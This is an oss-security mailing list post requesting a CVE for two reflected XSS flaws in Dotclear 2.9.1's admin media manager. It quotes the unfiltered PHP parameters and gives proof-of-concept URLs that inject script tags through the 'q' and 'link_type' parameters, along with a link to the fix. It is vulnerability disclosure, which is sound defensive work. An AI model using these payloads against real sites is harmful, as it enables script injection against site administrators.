[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <6D072F0A5597B449BEE8A9770E0BDBEA018CFE1E@EX01.corp.qihoo.net>
Date: Tue, 2 Aug 2016 06:13:03 +0000
From: 陈瑞琦 <chenruiqi@....cn>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
CC: limingxing <limingxing@....cn>
Subject: CVE request: XSS vulns in Dotclear v2.9.1
I found some XSS vulns in Dotclear v2.9.1
Title: XSS vulns in Dotclear v2.9.1
Author: Chen Ruiqi, Chenruiqi@....cn
Date: 2016-08-01
Download Site: https://dotclear.org/download
Vendor: dotclear.org
Vendor Notified: 2016-08-01
Vendor Contact: security@...clear.net
--------------------------------------------------------------------------------------------------------
Discription:
Dotclear is an open source blog publishing application distributed under the GNU GPLv2. Developed originally by Olivier Meunier from 2002, Dotclear has now attracted a solid team of developers.[2] It is relatively popular in French speaking countries, where it is used by several major blogging platforms (Gandi Blogs,[3] Marine nationale,[4] etc.).(Wiki)
-----------------------------------------------------------------------------------------------------------
Vulnerability:
There are two reflected XSS vulns in Dotclear v2.9.1 media manager
/admin/media.php
line 34 $link_type = !empty($_REQUEST['link_type']) ? $_REQUEST['link_type'] : null;
line 62 $q = isset($_REQUEST['q']) ? $_REQUEST['q'] : null;
Lack of filter before put the user-input into the page.
--------------------------------------------------------------------------------------------------------
PoC Code:
http://*.*.*.*/dotclear/admin/media.php?q=77777%3C%2Fspan%3E%3Cscript%3Ealert(1)%3C/script%3E&popup=0&select=0&plugin_id=&post_id=&link_type=
http://*.*.*.*/dotclear/admin/media.php?q=77777&popup=0&select=0&plugin_id=&post_id=&link_type=8888%22%3E%3Cscript%3Ealert(1)%3C/script%3E
----------------------------------------------------------------------------------------------------------
Fix Code:
https://hg.dotclear.org/dotclear/rev/40d0207e520d
Could you assign CVE id for those?
Thank you
Chen Ruiqi
Codesafe Team
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
